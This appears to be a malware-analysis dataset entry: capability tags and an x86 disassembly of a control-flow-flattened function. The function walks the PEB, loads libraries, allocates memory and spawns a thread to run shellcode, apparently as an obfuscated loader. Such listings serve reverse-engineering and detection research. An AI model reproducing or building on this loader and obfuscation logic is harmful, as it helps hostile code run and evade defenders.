Function at 0x410950
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0xbb98c
call fcn.0041efc0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xbb98c], eax
mov eax, dword [0x4f1080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xbb984], 0xf4332691
mov eax, dword [ebp - 0xbb984]
mov dword [ebp - 0xbb990], eax
sub eax, 0x81208d00
je 0x4154a5
jmp 0x410998
mov eax, dword [ebp - 0xbb990]
sub eax, 0x821b4ff8
je 0x413841
jmp 0x4109ae
mov eax, dword [ebp - 0xbb990]
sub eax, 0x833a2e28
je 0x41440c
jmp 0x4109c4
mov eax, dword [ebp - 0xbb990]
sub eax, 0x84db6a90
je 0x413acb
jmp 0x4109da
mov eax, dword [ebp - 0xbb990]
sub eax, 0x856717c3
je 0x415351
jmp 0x4109f0
mov eax, dword [ebp - 0xbb990]
sub eax, 0x86ff943b
je 0x414109
jmp 0x410a06
mov eax, dword [ebp - 0xbb990]
sub eax, 0x87d7a536
je 0x41491c
jmp 0x410a1c
mov eax, dword [ebp - 0xbb990]
sub eax, 0x87da9910
je 0x411ee2
jmp 0x410a32
mov eax, dword [ebp - 0xbb990]
sub eax, 0x88af0806
je 0x412f6f
jmp 0x410a48
mov eax, dword [ebp - 0xbb990]
sub eax, 0x8abb3372
je 0x4130b9
jmp 0x410a5e
mov eax, dword [ebp - 0xbb990]
sub eax, 0x8ad52bb4
je 0x414a70
jmp 0x410a74
mov eax, dword [ebp - 0xbb990]
sub eax, 0x8b0067c7
je 0x41327e
jmp 0x410a8a
mov eax, dword [ebp - 0xbb990]
sub eax, 0x8beea46f
je 0x41342a
jmp 0x410aa0
mov eax, dword [ebp - 0xbb990]
sub eax, 0x8c43e52b
je 0x414eae
jmp 0x410ab6
mov eax, dword [ebp - 0xbb990]
sub eax, 0x8c65ebd9
je 0x41409f
jmp 0x410acc
mov eax, dword [ebp - 0xbb990]
sub eax, 0x8f90735d
je 0x4138cc
jmp 0x410ae2
mov eax, dword [ebp - 0xbb990]
sub eax, 0x91475a63
je 0x413e2b
jmp 0x410af8
mov eax, dword [ebp - 0xbb990]
sub eax, 0x92ae1209
je 0x412b66
jmp 0x410b0e
mov eax, dword [ebp - 0xbb990]
sub eax, 0x933ce936
je 0x4135aa
jmp 0x410b24
mov eax, dword [ebp - 0xbb990]
sub eax, 0x93e7917a
je 0x4135cb
jmp 0x410b3a
mov eax, dword [ebp - 0xbb990]
sub eax, 0x947e2c87
je 0x415327
jmp 0x410b50
mov eax, dword [ebp - 0xbb990]
sub eax, 0x9967b1d3
je 0x4134a0
jmp 0x410b66
mov eax, dword [ebp - 0xbb990]
sub eax, 0x9a74cc28
je 0x413f33
jmp 0x410b7c
mov eax, dword [ebp - 0xbb990]
sub eax, 0x9b79e9fd
je 0x414f40
jmp 0x410b92
mov eax, dword [ebp - 0xbb990]
sub eax, 0x9e32f019
je 0x41521d
jmp 0x410ba8
mov eax, dword [ebp - 0xbb990]
sub eax, 0xa1df33b0
je 0x41452c
jmp 0x410bbe
mov eax, dword [ebp - 0xbb990]
sub eax, 0xa424b665
je 0x4141e1
jmp 0x410bd4
mov eax, dword [ebp - 0xbb990]
sub eax, 0xa829372d
je 0x4153c3
jmp 0x410bea
mov eax, dword [ebp - 0xbb990]
sub eax, 0xa90458c6
je 0x41218f
jmp 0x410c00
mov eax, dword [ebp - 0xbb990]
sub eax, 0xabe8caa3
je 0x414253
jmp 0x410c16
mov eax, dword [ebp - 0xbb990]
sub eax, 0xace3a935
je 0x413fc7
jmp 0x410c2c
mov eax, dword [ebp - 0xbb990]
sub eax, 0xae96d975
je 0x412823
jmp 0x410c42
mov eax, dword [ebp - 0xbb990]
sub eax, 0xaed84327
je 0x413cd0
jmp 0x410c58
mov eax, dword [ebp - 0xbb990]
sub eax, 0xaf06f372
je 0x414f8d
jmp 0x410c6e
mov eax, dword [ebp - 0xbb990]
sub eax, 0xaf3d4d81
je 0x4128fd
jmp 0x410c84
mov eax, dword [ebp - 0xbb990]
sub eax, 0xb08bec4a
je 0x41558c
jmp 0x410c9a
mov eax, dword [ebp - 0xbb990]
sub eax, 0xb10f9d7e
je 0x413d3d
jmp 0x410cb0
mov eax, dword [ebp - 0xbb990]
sub eax, 0xb49bd6b1
je 0x41248e
jmp 0x410cc6
mov eax, dword [ebp - 0xbb990]
sub eax, 0xb530e262
je 0x41463d
jmp 0x410cdc
mov eax, dword [ebp - 0xbb990]
sub eax, 0xb6306697
je 0x415473
jmp 0x410cf2
mov eax, dword [ebp - 0xbb990]
sub eax, 0xb662a755
je 0x41503b
jmp 0x410d08
mov eax, dword [ebp - 0xbb990]
sub eax, 0xb886677a
je 0x415558
jmp 0x410d1e
mov eax, dword [ebp - 0xbb990]
sub eax, 0xb8bf9fcf
je 0x415232
jmp 0x410d34
mov eax, dword [ebp - 0xbb990]
sub eax, 0xbc6645a6
je 0x414cbb
jmp 0x410d4a
mov eax, dword [ebp - 0xbb990]
sub eax, 0xbcbd1283
je 0x413253
jmp 0x410d60
mov eax, dword [ebp - 0xbb990]
sub eax, 0xbcd8e124
je 0x414f6a
jmp 0x410d76
mov eax, dword [ebp - 0xbb990]
sub eax, 0xbda498e5
je 0x4130fc
jmp 0x410d8c
mov eax, dword [ebp - 0xbb990]
sub eax, 0xbe2696d4
je 0x4143a2
jmp 0x410da2
mov eax, dword [ebp - 0xbb990]
sub eax, 0xc316042b
je 0x4121aa
jmp 0x410db8
mov eax, dword [ebp - 0xbb990]
sub eax, 0xc3754b62
je 0x4138a2
jmp 0x410dce
mov eax, dword [ebp - 0xbb990]
sub eax, 0xc5c4ddb0
je 0x412f0f
jmp 0x410de4
mov eax, dword [ebp - 0xbb990]
sub eax, 0xc62a3fe7
je 0x4154e8
jmp 0x410dfa
mov eax, dword [ebp - 0xbb990]
sub eax, 0xc7aad6bb
je 0x413caf
jmp 0x410e10
mov eax, dword [ebp - 0xbb990]
sub eax, 0xc940176f
je 0x413e83
jmp 0x410e26
mov eax, dword [ebp - 0xbb990]
sub eax, 0xc9d034c3
je 0x414e0a
jmp 0x410e3c
mov eax, dword [ebp - 0xbb990]
sub eax, 0xcb867d5b
je 0x413321
jmp 0x410e52
mov eax, dword [ebp - 0xbb990]
sub eax, 0xcc0f0a40
je 0x412021
jmp 0x410e68
mov eax, dword [ebp - 0xbb990]
sub eax, 0xce1afa3f
je 0x4152b5
jmp 0x410e7e
mov eax, dword [ebp - 0xbb990]
sub eax, 0xce55312b
je 0x414ae5
jmp 0x410e94
mov eax, dword [ebp - 0xbb990]
sub eax, 0xcee4ba6e
je 0x411f0a
jmp 0x410eaa
mov eax, dword [ebp - 0xbb990]
sub eax, 0xcf4f2339
je 0x41524f
jmp 0x410ec0
mov eax, dword [ebp - 0xbb990]
sub eax, 0xcfbf4c14
je 0x414c47
jmp 0x410ed6
mov eax, dword [ebp - 0xbb990]
sub eax, 0xd03644a7
je 0x413c3c
jmp 0x410eec
mov eax, dword [ebp - 0xbb990]
sub eax, 0xd0c6ca26
je 0x414da9
jmp 0x410f02
mov eax, dword [ebp - 0xbb990]
sub eax, 0xd17a5c05
je 0x4124f0
mov dword [ebp - 0xbb974], 1
mov dword [ebp - 0xbb984], 0xfec565be
jmp 0x4155ba
mov eax, dword [0x4f2534]
mov ecx, dword [0x4f2530]
mov edx, eax
sub edx, 0xa5d635b1
sub edx, 1
add edx, 0xa5d635b1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaf06f372
mov ecx, 0x1568207b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0xe1104c3c
jmp 0x4155ba
mov eax, dword [ebp - 0xbb980]
mov dword [ebp - 0xbb8e4], eax
mov dword [ebp - 0xbb984], 0xc316042b
jmp 0x4155ba
mov ecx, dword [0x4f2534]
mov eax, dword [0x4f2530]
mov edx, ecx
sub edx, 0xb8cc4435
sub edx, 1
add edx, 0xb8cc4435
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf1f5b163
mov ecx, 0x620abee4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x5dba3258
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x6a409036
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x3a562059
jmp 0x4155ba
mov eax, dword [ebp - 0xbb8ac]
mov esi, dword [eax]
mov edx, dword [ebp - 0xbb8b0]
mov eax, 0x737e7808
mov ecx, 0x70ee2203
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x13e14ec8
jmp 0x4155ba
mov eax, dword [ebp - 0xbb940]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xbb898], eax
mov ecx, dword [0x4f2534]
mov eax, dword [0x4f2530]
mov edx, ecx
sub edx, 0x4f2a304d
sub edx, 1
add edx, 0x4f2a304d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9e32f019
mov ecx, 0xf939e3ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0xf94f732e
jmp 0x4155ba
mov eax, dword [ebp - 0xbb950]
mov ecx, dword [ebp - 0xbb894]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbb944]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xbb954]
mov dword [eax], ecx
mov dword [ebp - 0xbb984], 0x631895a4
jmp 0x4155ba
mov eax, dword [ebp - 0xbb93c]
mov eax, dword [eax]
mov dword [ebp - 0xbb890], eax
mov eax, dword [ebp - 0xbb938]
mov eax, dword [eax]
mov dword [ebp - 0xbb88c], eax
mov dword [ebp - 0xbb984], 0x8b0067c7
jmp 0x4155ba
mov edx, dword [ebp - 0xbb890]
mov eax, dword [ebp - 0xbb88c]
imul eax, eax, 0x14
add edx, eax
mov eax, 0xae7ad7
mov ecx, 0x5d6c1b34
cmp dword [edx + 0x10], 0
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [ebp - 0xbb968]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xbb93c]
mov eax, dword [eax]
mov edx, dword [ebp - 0xbb938]
imul edx, dword [edx], 0x14
add eax, edx
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xbb934]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbb934]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xbb888], eax
mov ecx, dword [0x4f2534]
mov eax, dword [0x4f2530]
mov edx, ecx
add edx, 0xf006ee1b
sub edx, 1
sub edx, 0xf006ee1b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa2852b9
mov ecx, 0x3646941a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [ebp - 0xbb968]
mov eax, dword [eax]
mov dword [ebp - 0xbb884], eax
mov eax, dword [ebp - 0xbb93c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbb938]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xbb880], eax
mov dword [ebp - 0xbb984], 0xd6fed812
jmp 0x4155ba
mov ecx, dword [0x4f2534]
mov eax, dword [0x4f2530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xce1afa3f
mov ecx, 0x50c4e5d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dl, byte [ebp - 0xbb879]
mov eax, 0x567c197a
mov ecx, 0x93e7917a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [ebp - 0xbb968]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbb92c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xbb928]
mov edx, dword [edx]
mov ecx, dword [ecx + edx*4]
add eax, 0x870634
add eax, ecx
sub eax, 0x870634
mov dword [ebp - 0xbb878], eax
mov dword [ebp - 0xbb984], 0xf2150497
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x5b49a596
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0xbcbd1283
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x28d998eb
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0xdeb08c7
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x204fa168
jmp 0x4155ba
mov edx, dword [ebp - 0xbb850]
mov eax, 0x40c4c877
mov ecx, 0xaed84327
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [ebp - 0xbb914]
mov dword [eax], 0x40
mov dword [ebp - 0xbb984], 0x2d7db150
jmp 0x4155ba
mov edx, dword [ebp - 0xbb84c]
mov eax, 0xe5afa713
mov ecx, 0xd9c7023a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x492996e9
jmp 0x4155ba
mov eax, dword [ebp - 0xbb848]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0x8018bd6f
or eax, edx
or ecx, 0x8018bd6f
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xbb843], al
mov ecx, dword [0x4f2534]
mov eax, dword [0x4f2530]
mov edx, ecx
add edx, 0xd3353579
sub edx, 1
sub edx, 0xd3353579
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x856717c3
mov ecx, 0x9a74cc28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dl, byte [ebp - 0xbb843]
mov eax, 0xe5afa713
mov ecx, 0x4e83f4d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [ebp - 0xbb910]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xbb842], al
mov eax, dword [0x4f2534]
mov ecx, dword [0x4f2530]
mov edx, eax
sub edx, 0x3ede144a
sub edx, 1
add edx, 0x3ede144a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd367cc86
mov ecx, 0x1e4451e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [0x4f2534]
mov ecx, dword [0x4f2530]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe8f75966
mov ecx, 0x70887ec1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [ebp - 0xbb910]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xbb841], al
mov dword [ebp - 0xbb984], 0x552608cb
jmp 0x4155ba
mov dl, byte [ebp - 0xbb841]
mov eax, 0xbe2696d4
mov ecx, 0x18058788
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [ebp - 0xbb914]
mov dword [eax], 0x20
mov ecx, dword [0x4f2534]
mov eax, dword [0x4f2530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa829372d
mov ecx, 0x7cd0fc75
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [ebp - 0xbb910]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0xbb840], eax
mov dword [ebp - 0xbb984], 0x2cce188a
jmp 0x4155ba
mov eax, dword [0x4f2534]
mov ecx, dword [0x4f2530]
mov edx, eax
add edx, 0xaeca2714
sub edx, 1
sub edx, 0xaeca2714
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x75763f4c
mov ecx, 0xf559afbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov eax, dword [0x4f2534]
mov ecx, dword [0x4f2530]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71f54364
mov ecx, 0x471a34cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov ecx, dword [0x4f2534]
mov eax, dword [0x4f2530]
mov edx, ecx
add edx, 0x34c72c40
sub edx, 1
sub edx, 0x34c72c40
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb6306697
mov ecx, 0x19035402
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x717bee06
jmp 0x4155ba
mov eax, dword [ebp - 0xbb900]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xbb8f4]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0xbb8fc]
mov dword [ebp - 0xbb830], eax
mov eax, dword [0x4f2534]
mov ecx, dword [0x4f2530]
mov edx, eax
add edx, 0x867ccabc
sub edx, 1
sub edx, 0x867ccabc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc62a3fe7
mov ecx, 0xce55312b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0xd498770d
jmp 0x4155ba
mov eax, dword [ebp - 0xbb968]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbb980]
mov ecx, dword [ecx + 0x28]
sub eax, 0x67c55f70
add eax, ecx
add eax, 0x67c55f70
mov dword [ebp - 0xbb82c], eax
mov eax, dword [0x4f2534]
mov ecx, dword [0x4f2530]
mov edx, eax
add edx, 0x3244bb21
sub edx, 1
sub edx, 0x3244bb21
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb886677a
mov ecx, 0xbc6645a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x5e6bb13e
jmp 0x4155ba
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x4f2534]
mov ecx, dword [0x4f2530]
mov edx, eax
add edx, 0xe8e58f7f
sub edx, 1
sub edx, 0xe8e58f7f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x410aa486
mov ecx, 0xc9d034c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x13edbb04
jmp 0x4155ba
mov eax, dword [ebp - 0xbb828]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xbb974], 0
mov ecx, dword [0x4f2534]
mov eax, dword [0x4f2530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb08bec4a
mov ecx, 0x9b79e9fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xbb984], eax
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x40d0b821
jmp 0x4155ba
mov eax, dword [ebp - 0xbb824]
mov dword [ebp - 0xbb994], eax
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0041efb0
mov eax, dword [ebp - 0xbb994]
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
lea eax, [ebp - 0xbb81c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.0041fcc0
add esp, 0xc
mov eax, dword [ebp - 0xbb970]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.0041fcc0
add esp, 0xc
mov eax, dword [ebp - 0xbb970]
mov dword [eax], 0x44
mov dword [ebp - 0xbb984], 0x1568207b
jmp 0x4155ba
mov eax, dword [ebp - 0xbb8ec]
mov ecx, dword [ebp - 0xbb820]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xbb968]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbb96c]
mov dword [ebp - 0xbb984], 0xe2fb7745
jmp 0x4155ba
mov eax, dword [ebp - 0xbb940]
mov dword [ebp - 0xbb984], 0x88af0806
jmp 0x4155ba
mov eax, dword [ebp - 0xbb940]
mov ecx, dword [ebp - 0xbb898]
mov dword [eax], ecx
mov dword [ebp - 0xbb984], 0xd4666837
jmp 0x4155ba
mov dword [ebp - 0xbb984], 0x451cf66a
jmp 0x4155ba
mov eax, dword [ebp - 0xbb92c]
mov eax, dword [ebp - 0xbb928]
mov dword [ebp - 0xbb984], 0x50c4e5d9
jmp 0x4155ba
mov eax, dword [ebp - 0xbb910]
mov dword [ebp - 0xbb984], 0xdb5cc691
jmp 0x4155ba
mov eax, dword [ebp - 0xbb848]
mov eax, dword [ebp - 0xbb848]
mov eax, dword [ebp - 0xbb848]
mov eax, dword [ebp - 0xbb848]
mov eax, dword [ebp - 0xbb848]
mov eax, dword [ebp - 0xbb848]
mov eax, dword [ebp - 0xbb848]
mov eax, dword [ebp - 0xbb848]
mov dword [ebp - 0xbb984], 0xc940176f
jmp 0x4155ba
mov eax, dword [ebp - 0xbb914]
mov dword [eax], 0x20
mov dword [ebp - 0xbb984], 0xabe8caa3
jmp 0x4155ba
mov eax, dword [ebp - 0xbb918]
mov dword [ebp - 0xbb984], 0x19035402
jmp 0x4155ba
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0xbb90c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbb90c]
mov eax, dword [eax]
add eax, 0xa899df90
add eax, 0xc
sub eax, 0xa899df90
mov ecx, dword [eax]
mov eax, dword [ebp - 0xbb908]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbb908]
mov dword [ebp - 0xbb984], 0x48c97bb3
jmp 0x4155ba
mov eax, dword [ebp - 0xbb900]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xbb8f4]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0xbb8fc]
mov dword [ebp - 0xbb984], 0x8ad52bb4
jmp 0x4155ba
mov eax, dword [ebp - 0xbb968]
mov dword [ebp - 0xbb984], 0xcfbf4c14
jmp 0x4155ba
mov eax, dword [ebp - 0xbb828]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xbb974], 0
mov dword [ebp - 0xbb984], 0x8c43e52b
jmp 0x41097c